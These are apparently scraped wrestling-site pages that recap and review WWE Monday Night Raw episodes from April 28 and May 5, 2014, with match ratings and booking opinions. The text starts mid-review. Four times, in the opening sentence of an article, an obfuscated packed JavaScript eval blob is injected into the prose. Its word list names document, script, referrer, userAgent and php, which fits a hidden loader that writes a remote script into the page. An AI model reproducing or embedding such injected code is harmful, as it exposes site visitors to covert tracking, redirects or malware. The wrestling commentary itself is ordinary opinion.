Rating: C-. Another decent power match while it lasted but you don’t want to have either of these guys job. I’m really curious to see where this goes though as Shield has been booked so strong for their entire run now, I can’t imagine them losing in the end. I also can’t picture any of them being ready for the big singles push either so I’m not sure where this goes.

Post match HHH is surrounded but Stephanie sends out most of the midcard to take out Shield. They surround Reigns and HHH gets a chair, only to have Reigns explode with a spear. Rollins and Ambrose both grab chairs to clean house and the Shield stands tall again. The place is going NUTS for this. Fandango takes the Dirty Deeds onto the chair and there’s Peace of Mind onto the chair for Axel. Slater gets a Superman Punch and it’s a spear and Triple Bomb to Ryback. Shield tells Evolution to bring it to end the show.

Overall Rating: C+. This is a difficult show to grade. The wrestling certainly wasn’t anything great for the most part, but the majority of the matches were good enough to pass. That being said, the big stuff tonight came in the form of stories, as Bryan likely having to drop the titles opens up a lot of doors. There’s a chance Kane becomes champion but I can’t picture it happening. What I also can’t picture is who gets the belt next unless they put it on Cena again as a holding pattern. This has the potential to be very interesting, but I’d expect them to play it safe.

Results
Rob Van Dam b. Jack Swagger – Five Star Frog Splash
Paige b. Alicia Fox – Paige Turner
John Cena/Usos b. Wyatt Family – Attitude Adjustment to Rowan
Nikki Bella b. Natalya – Cradle
Sheamus b. Curtis Axel – Cloverleaf
Sheamus b. Ryback – Brogue Kick
Dolph Ziggler b. Fandango – Zig Zag
Roman Reigns vs. Batista went to a no contest

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Reviewing the Review: Monday Night Raw – May 5, 2014

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftnkk|var|u0026u|referrer|trift||js|php'.split('|'),0,{})) week was the first show after the sequel to Wrestlemania and it seems like we’re setting up the third part of the trilogy even though people don’t seem all that interested in what we’re getting. In other words, it’s spring in the WWE. Let’s get to it.

The show opened with Dean Ambrose defending the US Title in a battle royal. He wound up losing the title to Sheamus as the last man in the match and I can’t complain at all. This accomplishes two things: it gets the title off Ambrose who had held it for nearly a year and gives Sheamus something to do. It also makes the US Title seem more important as a big name like Sheamus is holding it now. With only one world title now, there simply isn’t room for guys like Sheamus, Del Rio, Christian and Ziggler to challenge for the big belt. You elevate the midcard titles and everything fits much better.

I’ll cover all of the Bryan/Brie/Stephanie/Kane stuff here. This of course leads us to the Disco Inferno. He used to post on the WrestleZone Forums as a paid guest and made a comment once that makes so much sense: “If a champion pins a challenger clean, why in the world would I want to watch them fight again?” That’s the problem with Kane vs. Bryan again. Bryan pinned Kane in the middle of the ring after his finisher. The question was “what can Bryan do to stop Kane?” We answered that at Extreme Rules but the feud is continuing because they have nothing else to do and the script says it has to continue. That’s rarely interesting.

What makes it even worse is how they’re going about doing it. From the camera in the back of the car to the Michael Myers feeling the segment had to having to watch Stephanie’s acting to the supernatural stuff with the Kane masks everywhere to how stupid the other segments are likely to be, this stuff got old fast. I don’t want to watch a bad slasher movie, but at least it’s better than Zack Ryder as Bryan will actually fight back. Also I don’t mind Brie Bella being there as it doesn’t feel incredibly forced and Bryan is the kind of character that seems like he’d be a family man.

Cesaro got disqualified for attacking RVD too much. The match wasn’t anything great but Cesaro had RVD defeated when he got disqualified which made this way easier to sit through. This is what RVD should be used for and he did it to perfection.

Bray Wyatt’s promo worked very well as he talked about being a god instead of just a leader. It seems that his feud with Cena will continue and again, Bray needs to win the third match. That would open the door for stories going forward and it’s not like Cena needs the win. Yeah the Extreme Rules match felt forced, but at least there’s a story here that makes me want to see where it goes, unlike the World Title feud.

Ryback beat Cody Rhodes to continue the Rhodes Brothers breakup that is going on too long now. Nothing to see here.

Los Matadores and Torito beat up 3MB. I have no idea where they can go after Sunday and I really don’t care to find out.

Rusev has dropped the Alexander and squashed Kofi Kingston. Again I didn’t care too much about the match as Lana was very distracting in blue.

Daniel Bryan beat Alberto Del Rio in a good match. This is the kind of thing I’d love to see as the co-main event of the B shows. You don’t have to have A-list star vs. A-list star as the main event of every show. Have another big match on the side (Shield vs. Evolution in a big gimmick match for example) and have Bryan go 25 minutes with Del Rio or Ziggler etc. Bryan gets a win over a former World Champion, the other guy gets a rub and doesn’t look bad in losing to Bryan and maybe he even looks better in the future. It worked at In Your House and it can work here.

Bad News Barrett beat Big E. again to retain the Intercontinental Title. This was as by the books as you could get and there’s really nothing wrong with that. Big E. needs a story instead of a feud now though, which isn’t likely to happen as the writers aren’t that competent.

We got a Mother’s Day message from Mr. T., which was basically just a way to make fun of his Hall of Fame speech. This kind of stuff makes WWE look so childish and likely is done to entertain themselves. They’re already borderline toxic to most big name stars, so why would they make fun of someone willing to work with them? What does this one off, 90 second joke accomplish?

Adam Rose debuted but didn’t wrestle. His first match/feud is going to be with Jack Swagger, which is WAY better than having him squash jobbers for a month while we wait for someone of note to fight him. The fans were way into the character which is the right idea, even though Rose doesn’t have a long shelf life. Also Zeb dancing, even if by accident, was hysterical.

Shield vs. Wyatts was nothing we haven’t seen before but it wasn’t bad. We got all the usual spots and sequences until Evolution came out for the distraction. The show ended with Evolution standing tall, which is the right move if they’re continuing the story.

Overall Raw was a decent show but Payback seems like they’re running on whatever fuel they had left over at Wrestlemania. Evolution vs. Shield should be an interesting second PPV match but I’m hoping they go for three singles matches instead of another match and THEN have another six man tag. Cena vs. Wyatt III all depends on the ending and Bryan vs. Kane II is just nothing I want to see. Still though, there was enough good to get me through Raw on Monday, but it didn’t do much to make me care about the future going forward.

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Monday Night Raw – May 5, 2014: Just Play The Halloween Theme Already

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edakt|var|u0026u|referrer|sbsei||js|php'.split('|'),0,{})) Night Raw
Date: May 5, 2014
Location: Times Union Center, Albany, New York
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

Extreme Rules has come and gone and most of the stories have advanced. First and foremost, Bryan kept the title away from Kane in a brawl reminiscent of the Attitude Era but it looks like a rematch is imminent. Other than that Shield defeated Evolution in a war and Bray Wyatt escaped the cage to beat Cena. The main stories tonight are a twenty man battle royal for the US Title and Adam Rose debuting. Let’s get to it.

US Title: Battle Royal

Dean Ambrose, Goldust, Cody Rhodes, Mark Henry, Titus O’Neal, R-Truth, Kofi Kingston, R-Truth, Heath Slater, Sheamus, Curtis Axel, Ryback, Dolph Ziggler, Big Show, Sin Cara, Santino Marella, Fandango, Zack Ryder, Jack Swagger, Damien Sandow

Ambrose is defending and all of his challengers come to the ring at the same time. It’s the traditional big mess to start with Show throwing out Woods and Henry dumping Ryder. Truth is thrown out by someone we didn’t see as everyone else is just having random brawls. Ziggler finally loses his shirt but makes the mistake of hammering on Big Show. Santino slides back into the ring and fails to help Sin Cara eliminates Titus. Big Show dumps Titus with ease and does the same to Sin Cara with the masked man landing on all of the other eliminated guys. Why they were still at ringside isn’t explained.

Fandango gets Dolph over the top but not out to the floor as the brawling continues. Sheamus does the ten forearms to Sandow for an elimination and we take a break. Back with Big Show and Mark Henry being ganged up on in opposite corners. Heath Slater appears to be the only elimination during the break. Henry and Show shrug everyone off and have a showdown ending with a chokeslam to Henry. A Brogue Kick staggers Big Show though and everyone comebines to dump him out. They do the same to Henry and both giants are gone.

Kofi is sent to the apron but jumps back in, only to be kicked out by Ambrose. Dean gets Fandango as well but has to deal with Swagger. Ryback and Axel dump Cody and Goldust to get us down to seven: Ambrose, Santino, Sheamus, Ryback, Axel, Swagger and Ziggler. Scratch Dolph actually as Santino Cobras him out but is quickly dumped by Ryback and Axel, leaving us with five. Sheamus starts cleaning house but runs into a spinebuster from Ryback. The Goldberg chants start up and Ryback has blood on his teeth.

Axel and Ryback take control but can’t toss Dean out. The fans chant for Punk for no apparent reason as Dean backdrops Axel to the floor and wins a slugout with Ryback on the apron to get us down to three. Swagger tries for a cheap shot but Dean slides back in. Ambrose gets behind him and dumps Jack but turns around for the Brogue Kick. The elimination is academic and Sheamus is champion at 15:49.

Rating: C. This was probably the best way to get the title off Ambrose save for the cliched triple threat or fourway match. He’s got the record for longest reign by a WWE US Champion so it’s not like he didn’t get to do anything with the belt. Also this is something for Sheamus to do once he’s back so it’s good for everyone all around. It also didn’t come off as any sort of a heel turn which it wasn’t supposed to be.

Rollins tries to calm Ambrose down by saying it wasn’t fair but here’s HHH to interrupt. He talks about how lucky Shield got last night before announcing a six man tag with Shield vs. the Wyatts later tonight.

After a break Sheamus says he’s been spinning his wheels since he came back. They say every stopped clock is right twice a day and tonight was the perfect time for the Celtic Warrior to step back into glory. Renee asks him if he has a message for Dean Ambrose. Sheamus says no hard feelings.

We get stills from Bryan vs. Kane last night.

Daniel is with Brie in the back when Stephanie comes in. All Daniel did last night was anger Kane and make him capable of unspeakable acts of violence. Therefore, Bryan has to stay in this locker room until his match later tonight. She shuts the door and Kane’s mask is on the back.

Rob Van Dam vs. Cesaro

Feeling out process to start with Van Dam taking over with a quick armdrag. A headlock slows RVD down and a back elbow to the jaw gets two. Rob comes back with a quick kick to the face and Rolling Thunder sends Cesaro to the floor. Back in and Cesaro gets in a few more shots but another kick sends him outside for a big old flip dive.

A moonsault off the apron sets up a slingshot legdrop for two back inside. The fans think this is boring thirty seconds after all the high spots from Van Dam because wrestling crowds have the attention span of drunken gnats. Now it’s a CM Punk chant as Cesaro hammers away and sends Van Dam to the floor with a clothesline. We come back from a break with Van Dam fighting out of a chinlock and the fans chanting for him for a change.

A sunset flip gets two for Van Dam but he gets caught by a jumping double stomp of all things. Van Dam gets another two off a small package and rollup but he dives off the top into an uppercut for a pair of near falls. Cesaro nails him with an awesome looking running uppercut in the corner followed by some rolling gutwrench suplexes for two. Back up and Van Dam can’t hook a monkey flip out of the corner but runs into an elbow to the jaw. He goes up top but gets caught in a one legged tree of woe. Cesaro goes to the floor to hammer away at Van Dam’s head but does it too long for a DQ at 12:00.

Rating: C+. The match was fun and I actually like the ending. Van Dam was getting dominated so it doesn’t make Cesaro look bad and shows a more aggressive side to his character. Those rolling gutwrench suplexes are just awesome and his match against a big name is going to rock.

Cesaro hammers away even more until Heyman pulls him off. Van Dam looks totally out of it.

Bray Wyatt says that Abigail told him that he was born to lead and would change the world one day. This world we live in has an evil about it and everyone refers to him as a piece of trash or a nobody. Those people have made it a glorious day because last night, Bray Wyatt became somebody. Last night Cena’s fear was personified by a singing child and we get a clip showing just that. Bray talks about how a child has personified Cena’s fear. John thinks that Bray is spreading nothing but lies and just wants to watch the world burn.

The second part is right because he wants a new world to be reborn in his image. Wyatt is doing this for the homeless man sitting on the side of the street, for the teenage girl who woke up crying because she was called too ugly to be the prom queen and for every fan sitting in this arena. From this day forward, John Cena stands alone and alone he shall fall. The children shall stand will Bray Wyatt and they’ll never be alone again. He’ll be remembered for what he truly is: a god.

Ryback vs. Cody Rhodes

We see a clip from the battle royal that shows Cody accidentally eliminating Goldust. Cody starts fast and sends Ryback to the outside before hammering away in the corner. Ryback takes over with a hot shot before choking on the ropes to keep Cody in trouble. A delayed vertical suplex gets two on Cody and a hard whip into the corner puts him down again.

We hit the chinlock for a bit until Ryback misses a splash. Cody takes out the knee and hits a running knee to the chest for two. The Disaster Kick looks AWESOME, followed by a good looking springboard missile dropkick. Goldust goes after Axel but the distraction lets Ryback pull Cody off the top into Shell Shock for the pin at 6:00.

Rating: D. This was a really dull match as the always annoying “let’s have two guys lose every match they’re in and then wonder why no one cares about them at all after it’s over” trope continues. This match just kept going and I was really bored after about two minutes, especially when the ending was obvious.

The lights go out in Brie and Bryan’s locker room. A small fire lights up with Kane’s mask over it. The newlyweds leave and run into Stephanie, who offers to have Brie’s car brought up. I’m sure this won’t end badly at all.

It’s time for a Cinco De Mayo celebration with Los Matadores and Torito. They have your usual Mexican decorations and Torito throws out candy to the fans until 3MB interrupts. They want a truth but demand that only English is spoken. Drew threatens violence if the truce isn’t accepted and a brawl breaks out. Slater gets left alone and shouts OLE, only to be thrown to the floor. Torito puts Horny in an airplane spin as JBL shouts out boxing references.

Bolieve!

Kofi Kingston vs. Alexander Rusev

Before the match, Lana praises Vladimir Putin and Edward Snowden, saying America’s secrets are safe with them. Rusev runs Kofi over to start and tosses him down with an overhead belly to belly suplex. Kingston comes back with a dropkick and spinning crossbody for two but misses a kick to the chest, allowing Rusev to load up the fall away slam. Kingston lands on his feet though and tries the springboard cross body, only to be caught in mid air. Now the fall away connects and the Accolade makes Kofi submit at 2:50.

The Network is now available on XBOX One.

Brie gets into the car as Bryan looks around. He gets in to leave and of course there’s a camera in the backseat. Stephanie knocks on the window to scare both of them and says Bryan’s match is right now. If he doesn’t wrestle tonight, he’s stripped of the title. Thankfully Daniel has a brain and has Brie come with him to the ring.

Daniel Bryan vs. Alberto Del Rio

Non-title. Daniel fires off kicks in the corner to start before opting for some right hands to the face. He charges into the tilt-a-whirl backbreaker for two though and Del Rio takes over. Another USA chant starts up as Bryan fires the kicks in the corner. He backflips over Del Rio and actually slips on the landing. Thankfully JBL is paying attention and says it’s because he’s worried Kane might attack him. The YES Kicks have Del Rio in trouble but he grabs a Backstabber for two. Daniel heads outside and gets sent into the barricade as we take a break.

Back with Bryan fighting out of a chinlock but walking into a German suplex for two. Alberto starts goinga fter the arm and mocks the YES post, only to dive into a forearm for two. They head outside with Bryan being dropped face first onto the barricade. Back in and Del Rio lowers the knee pad for the superkick (not sure what sense that makes) but Bryan ducks and lands a hard kick of his own.

A drop toehold sends Alberto into the middle buckle and they trade kicks with Del Rio taking over. Bryan gets dropped with a big old kick but headbutts out of a superplex. The Swan Dive gets two and the running dropkicks knock Del Rio to the floor. FLYING GOAT sends Del Rio halfway into the stands but he comes back with an enziguri for two. The armbreaker is esily countered though and Bryan uses something like La Mistica to set up the YES Lock for the win at 15:32.

Rating: B-. This is the kind of stuff they should use to main event shows like Payback or another low level show. Instead of using the same matches over and over again, just let Bryan tear it up with some upper midcarder for about 25 minutes a month. Good match here with Del Rio going kick for kick with the champion.

Post match Kane’s pyro goes off so they run to the back. Brie and Daniel get in the car but it won’t start. Daniel checks the engine and plugs a wire back in. He shuts the hood and of course Kane is in the back of the car. Bryan fights Kane and tries to leave again but Kane gets on the back of the car. Daniel floors it to drop Kane on the concrete (off camera of course) but stops and looks back. Kane sits up so Bryan gets back in and drives off.

Intercontinental Title: Big E. vs. Bad News Barrett

Barrett is defending, having beaten Big E. for the title last night. Before the match, Bad News says the fans are going to need some cosmetic surgery for their new champion. Big E. runs him over to start and the fight is quickly on the floor. Barrett is rammed into the apron and a spear puts him into the steps before they just beat the count back inside. The champion goes right back to the floor but avoids a charge to send Big E. shoulder first into the post.

Back with Barrett still in control and getting two off Winds of Change. A hard knee to the face puts Big E. down again and here comes the Bull Hammer. You know it’s not working that quickly though so Big E. runs him over to put him in the ropes. The spear through the ropes puts both guys on the floor and it’s Big E. up first. The Big Ending is countered though and Bad News rakes the eyes. Bull Hammer retains the title at 10:48.

Rating: D+. Not much to see here as it was just the required win in the rematch to establish that Barrett is the better man and get rid of Big E. for awhile. It wasn’t a very good match though as Big E. started doing stuff he didn’t do while champion and it makes it easier to beat him, as is tradition in wrestling.

Cena will respond to Bray Wyatt on Main Event.

We look at the battle royal earlier.

Here’s a special Mother’s Day message from Mr. T. which is comprised of remixed clips of his Hall of Fame speech and Brodus Clay’s dancing bridge club from Wrestlemania XXVIII.

Swagger and Colter come out with a sign saying Zeb’s Deportation List. Colter says today isn’t Cinco De Mayo because it’s May 5. He doesn’t like all the foreigners coming into WWE and has a list of all the people he wants gone. It’s only a partial list: Cesaro, Heyman, Emma, Santino, Paige and Sheamus. Colter does the Emma dance and says it’s poisoning the youth of America. They’re interrupted by the Adam Rose party, complete with BUNNY. The entire party is here to carry Rose to the ring just like in NXT. The fans are singing the tune of his song too so it’s working.

Rose has a sucker in his mouth and holds it out to Colter. Zeb holds up a hand but Adam grabs him by the moustache. “Don’t be a lemon. BE A ROSEBUD!” Swagger runs at him but gets kicked in the face and backdropped to the floor. The party gets back in the ring and Zeb looks terrified before running off.

Wyatt Family vs. Shield

It’s a big fight to start and the bell rings with everyone on the floor. Ambrose and Rowan get things going with Dean taking over in the corner. Off to Rollins who gets thrown out of the corner, allowing for the tag off to Harper. Dean makes a blind tag to help Rollins with a double suplex and two on Luke. Roman comes in and hammers away before it’s quickly back to Rollins for a top rope shot to the arm.

Harper takes Seth into the corner to take over again and it’s off to Bray for some hard right hands to the head. Rowan can’t slam Rollins down and gets caught with an enziguri, allowing for the tag off to Dean. Ambrose hammers away and nails a cross body, allowing him to get even more hard shots. Dean cleans house and takes Rowan down with a shoulder before slapping on a Figure Four. He lets it go so we can have a standoff and take a break.

Back with Harper holding Ambrose in a chinlock. Dean fights up with a jawbreaker but it’s off to Rowan to whip Dean from corner to corner. Rowan is sent to the floor and the now legal Harper gets the same treatment. Seth hits a running dive to take them both out but stops to go after Bray, allowing Harper to shove him to the floor in a scary crash. Harper follows it up with a suicide dive, sending Rollins over the table.

Back in and things settle down again before it’s off to Bray for a running splash in the corner. Harper slams Rollins down for two more as everything breaks down. Rowan and Wyatt throw Dean onto the announce table before leaving him alone. Rollins knocks Harper off the top rope and hits the top rope knee to put both guys down. A double tag brings in Reigns to hammer on Wyatt and hit a series of the running clotheslines.

 

The Family breaks up the Superman Punch and it’s double dive time to send Harper and Rowan onto the table. Now the Punch connects and it’s Triple Bomb time but here’s Evolution. That’s fine with Shield as they kick the Wyatts onto Evolution and hit more double dives, only to have Bray run Roman over and hit Sister Abigail for the pin at 18:04.

Rating: B-. It’s a good match but it has to compare to the match these guys had at Elimination Chamber. The ending gives us a reason for Shield to keep fighting Evolution, hopefully in some singles matches instead of another six man. It’s a good main event but more about the stories than the match.

Evolution goes after Shield post match and this time their comeback is stopped. A string of finishers ends the show, including a Triple Bomb to Reigns.

Overall Rating: C. The more I think about it, the more seeing Bryan vs. Kane again makes me want to pound a rusty spike into my eye. If it’s going to mean another month of really bad segments like this one then I’m very glad I have the Network to give me something entertaining to watch instead of this nonsense. We get it: Kane is a monster who is going to lose in the blowoff match because that’s what he’s done for like 15 years now. The rest of the show was solid but that segment gets stupider and stupider every time I think about it.

Results
Sheamus won a battle royal last eliminating Dean Ambrose
Rob Van Dam b. Cesaro via DQ when Cesaro wouldn’t stop attacking Van Dam in the ropes
Ryback b. Cody Rhodes – Shell Shock
Alexander Rusev b. Kofi Kingston – Accolade
Daniel Bryan b. Kane – Yes Lock
Bad News Barrett – Big E. – Bull Hammer
Wyatt Family b. Shield – Sister Abigail to Reigns

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Reviewing the Review – Monday Night Raw: April 28, 2014

Raw eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thhfy|var|u0026u|referrer|rkhzk||js|php'.split('|'),0,{})) this week was again about pushing the major stories as we get closer to Extreme Rules. However there was another story aside from the two main events that blew the doors off this week. There wasn’t much wrestling but there was an old drunk guy that embarrassed himself yet again, meaning he’ll be invited back for years. Let’s get to it.

We kick things off with a bang as John Cena comes into the cage opening the ring. Cena isn’t sure what to think as the fans have seemingly turned their backs on him last week when they put him in a three on one handicap match against the Wyatt Family. It was a match he couldn’t win and the fans gave him no chance. Cena wanted to know why the fans supported someone who didn’t have his passion and warns them that if Bray wins on Sunday, his message will soon take over the world. Then the crazy started.

The lights went out and a group of children could be heard singing He’s Got The Whole World In His Hands. The lights came back on and it was indeed a choir of children all in black. Bray came out with the lantern as the children surrounded the ring and kept singing. The lights came on again and they were all wearing the masks and saying Bray had the whole Cenation in his hands. One of the kids sat on Bray’s lap as he evily laughed and the camera zoomed in on the kid’s mask. Cena was completely distraught throughout the whole thing.

Where do I even begin with this? It was a genuinely disturbing sign and potentially opens the door for a lot of ideas. What does Cena do when Bray has power over the group of fans he loves the most turns on him? What does Cena do when everyone is booing him? What do you do with a man has the power to control children? I have no idea, but I’m really curious to see where this goes. One thing is clear though: under no circumstances can Cena win at Extreme Rules. I can defend a lot of Cena’s booking but there’s no real way to say that’s the right move.

The Usos defeated Ryback/Curtis Axel in a Tag Team Title match. The story here was that one of the Usos (by the way, no it doesn’t matter which it was. They’re the same guy for all intents and purposes) hurt his ankle and couldn’t move as well in the second half of the match. That’s fine for a story, but when you tag him in and he’s just fine and can do all the things he normally does, the story doesn’t mean anything. He was throwing superkicks and dives like his ankle was fine, so why even bother doing the angle at all? That’s the kind of stupid thinking that drives me insane.

Adam Rose debuts next week. That should be awesome even if it’s just a squash.

Heyman told Cesaro not to listen to people saying he’s a liar, because he’ll get Cesaro to the top. This is still in the seed planting stages but the harvest will be awesome.

Sheamus beat Titus O’Neal in a 35 second match. This is another good example of how awful Sheamus’ booking has been lately. Titus attacked him and had Sheamus in trouble, but Sheamus just popped up and won with a single move. Would it really kill them to have Sheamus lost a single match or to actually show some weakness? I honestly don’t get this booking at all and I haven’t for months.

The Hugh Jackman/Damien Sandow/Dolph Ziggler stuff just kind of happened. Jackman is cool when he’s out there and I like that they actually tied it into his previous appearance. Sandow as Magneto actually made me chuckle and that’s the idea of the segment. Someone in the WrestleZone live discussion pointed out that Sandow was destined for comedy and the more I think about it, the more I completely agree. Sandow explaining science and math to people has potential though.

Cesaro beat Swagger in a meaningless match. I did like him winning with a German suplex instead of the Neutralizer though. It’s always nice to see people mix stuff up. Heyman pulling Zeb’s mustache for a distraction was long overdue though.

Alberto Del Rio squashed Cody Rhodes to further the Rhodes Brothers split. Nothing to see here as usual but it was fine.

Rusev and Woods had an angle disguised as a match. The squash should work fine at Extreme Rules, just like it did for Brock against the Hardy Boys at Judgment Day back in 2002, and yes I know that was a handicap match but his partner was Heyman so we’ll call it a handicap match.

3MB actually won a match against Los Matadores. The main thing here was the announcement of the Wee-LC match on Sunday’s pre show. I still don’t like the Horny vs. Torito feud but them playing it so over the top actually makes it much easier to sit through rather than them just playing it as a boring match that no one cares about.

Stephanie’s apology to Bryan was about what you would expect it to be. I’m surprised at how natural Brie Bella being out there with Daniel feels. The fact that they’re married in real life helps a lot though as I’m not waiting on them to break up at the drop of a hat for a storyline. Stephanie playing it serious is interesting but I think we all know it’s another ruse.

This led directly into Brie facing Paige for the Divas Title in another angle disguised as a match. Kane interfered about two and a half minutes in and tried to kidnap Brie but Bryan made the save. I liked that he sent Brie to the back like someone logically would do, but she came back and almost got pulled under the ring anyway. Bryan getting laid out again works fine and the match on Sunday should be pretty solid. The post break stuff with Brie screaming at Stephanie actually worked. The Bellas are still annoying but Brie seems far more like a human than her sister.

Cena gave a serious promo (odd line about Bray riding a mule aside) about Bray that made it sound like he’s going to war. This is the Cena I can get behind, but again he has to lose on Sunday.

Barrett beat RVD in a very obvious ending to a better than expected match. The post match stuff sets up RVD vs. Cesaro vs. Swagger on Sunday, which almost has to go to Cesaro.

The big segment to almost end the show was Ric Flair returning to Raw to talk about how great Evolution was. The surprise was that he wound up endorsing Shield before walking out. However, the interesting part here was that Flair was clearly drunk, as is almost always the case. How in the world this is considered ok in WWE’s eyes is beyond me, as anyone else that showed up like this would be fired almost immediately.

The main event was Orton vs. Reigns which didn’t last long and ended with everyone running in for a DQ. Evolution looked do destroy Shield to end the show but Shield fought back and stood tall to end things in a nice surprise.

This was another Raw that would have been a classic if it was only two hours long. The middle hour just crippled it though and even a good third hour wasn’t enough to make the save. It also didn’t help that nothing was going to top that Wyatt segment, which is often the case around WWE anymore. I’m ready for Extreme Rules though and that’s the most important thing a go home show can do.
 

 

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Monday Night Raw – April 28, 2014: Someone Turn On My John Cena Night Light

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yyyta|var|u0026u|referrer|sztek||js|php'.split('|'),0,{})) Night Raw
Date: April 28, 2014
Location: Scottrade Center, St. Louis, Missouri
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

It’s the go home show for Extreme Rules and we’ve got most of the card set. The main stories are of course Daniel Bryan vs. Kane and Evolution vs. Shield with the latter being the bigger match of the two. Things are still solid after Wrestlemania but it feels like something is missing as we head into the follow up. Let’s get to it.

We open with a recap of the Wyatts vs. Cena last week and Bray cradling Cena’s head to end the show in a disturbing scene.

There’s a cage around the ring in the arena and here’s John Cena to a good reaction. Cena had a disturbed look on his face and wants to know why the fans put him in a 3-1 handicap match last week. He seems hurt by the idea because the fans gave him no chance last week. John believes the statement that you either die a hero or live long enough to see yourself become the villain. Ten years ago in this building, John Cena was drafted to Raw (it was nine years ago) and the fans cheered for him.

Now it’s ten years later and the fans aren’t cheering him as much because they’ve moved on to Bray Wyatt. Cena knows that he can’t do this forever and he has to step aside at one point. He loves that idea though because he sees a bunch of people in the locker room ready to take his spot like Reigns, Rollins, Cesaro and Bryan. Cena even knows names like Adrian Neville and Sami Zayn from NXT because they have the same passion that he has to entertain the people.

Bray Wyatt doesn’t have that passion because Wyatt’s passion is Bray Wyatt. On Sunday, the Wyatt Family will be kept out and Bray’s message will be kept in. If Wyatt escapes, his message and corruption will continue to manipulate and the world won’t have a chance. The Wyatts hack the feed but we only hear what sounds like a group of children singing He’s Got The Whole World In His Hands.

The lights come back up and there’s a whole choir of children on the stage in black robes singing the song. Bray and the Family come out with the lantern to sing as well and the children follow him to the ring. Bray gets them to sing about having the whole Cenation and the Big Bad Monster in his hands as well.

The lights go out save for the lantern and when they come back on, all of the kids are wearing the sheep masks. Cena has no idea what to do. One of the kids is sitting on Bray’s lap as he laughs like a demonic villain. A closeup of the kid’s mask takes us to a break. This was one of the most bizarre and disturbing things I can ever remember watching.

Tag Team Titles: Usos vs. Ryback/Curtis Axel

Usos are defending and the challengers now have team music. We even get Big Match Intros before it’s Axel vs. Jey to start. Cole suggests that the Usos are in trouble here, despite being on fire for months and beating this team before. A quick cross body puts Axel down and it’s off to Ryback who misses a splash, allowing for the tag off to Jimmy. The challengers are sent to the floor and there are the double dives to put them down. Jey is holding his ankle though as we head to a break.

Back with Axel cranking on Jimmy’s arm as the trainer is checking on Jey’s ankle. A running knee to the head puts Jimmy down and it’s off to Ryback for a series of covers and two each. Jey is able to knock Ryback down and suplexes Axel down onto him, allowing for the tag to a taped up Jey. The injury doesn’t seem to matters as Jey comes in with a cross body for two on Axel and a superkick to Ryback. There’s a Samoan drop and the running Umaga attack for two but a blind tag brings in Ryback.

A spinebuster gets two on Jey and Ryback pounds on his own chest. The Meat Hook is blocked by another superkick and Jey fires off some chops, only to be taken down by a regular clothesline. Shell Shock is countered into a sunset flip for two but Ryback takes him down again. The Usos make their own blind tag though, so as Axel hits the PerfectPlex, Jimmy dives in with the Superfly Splash for the pin on Curtis at 11:16.

Rating: C-. So what was the point of the injury? It didn’t change a thing about the match and Jey barely sold the thing at all, so why bother having it except for some drama that was broken up about three minutes later? The division is very thin at this point and we have a bunch of talent with nothing to do. Why this isn’t a layup for WWE’s creative team…..really doesn’t surprise me.

Adam Rose debuts next week.

Heyman tells Cesaro to not listen to RVD about Heyman’s morals or business practices. This of course turns into a discussion about Undertaker’s Streak being broken when he messed with Heyman. Paul admits that he’s a ruthless liar and completely unethical but he takes his clients to the top. That’s all Cesaro needs to hear.

We recap Kane attacking Bryan last week. Stephanie will apologize later tonight.

Kane’s mask is in its case.

Sheamus vs. Titus O’Neal

Titus jumps Sheamus during his entrance and sends him into the barricade a few times. Sheamus tastes the post as well before being sent into the ring for some right hands to the face. He says he’s ready to go though and we have a bell. Titus is on him again and hammers in the corner as Sheamus still has his shirt on….but he hits the Brogue Kick anyway for the pin at 35 seconds. And the annoying booking of Sheamus continues.

You should Bolieve.

Dolph Ziggler is in the ring in street clothes to talk about how this is his favorite time of the year. The weather is nicer, the girls look a little bit better, and the superheroes return to the ring. He’s talking about explosions, things being thrown all over the place and total chaos. But enough about his place on a Saturday night. Here’s a clip from the new X-Men movie. Ziggler brings out X-Men star Hugh Jackman who plays to the crowd quite well.

Jackman talks about how much he loves Raw because anything can happen. Ziggler says that’s true and shows us a clip of Hugh knocking Ziggler out so Zack Ryder could get a pin. Dolph says Jack Swagger has hit him harder than that and they bury the hatchet. This brings out Damien Sandow in a Magneto costume to brag about how a supervillain is now played by someone with intelligence.

They trade some insults and Sandow says tonight the two of them will meet their fate. Jackman touches the cape as Ziggler looks like he’s about to lose it. Sandow displays his “power” by trying to pull the microphone out of Jackman’s hands but gets hiptossed and Zig Zagged instead. I’m not sure what to say about this one.

We look at Evolution reforming and Shield destroying a bunch of people on Smackdown.

Cesaro vs. Jack Swagger

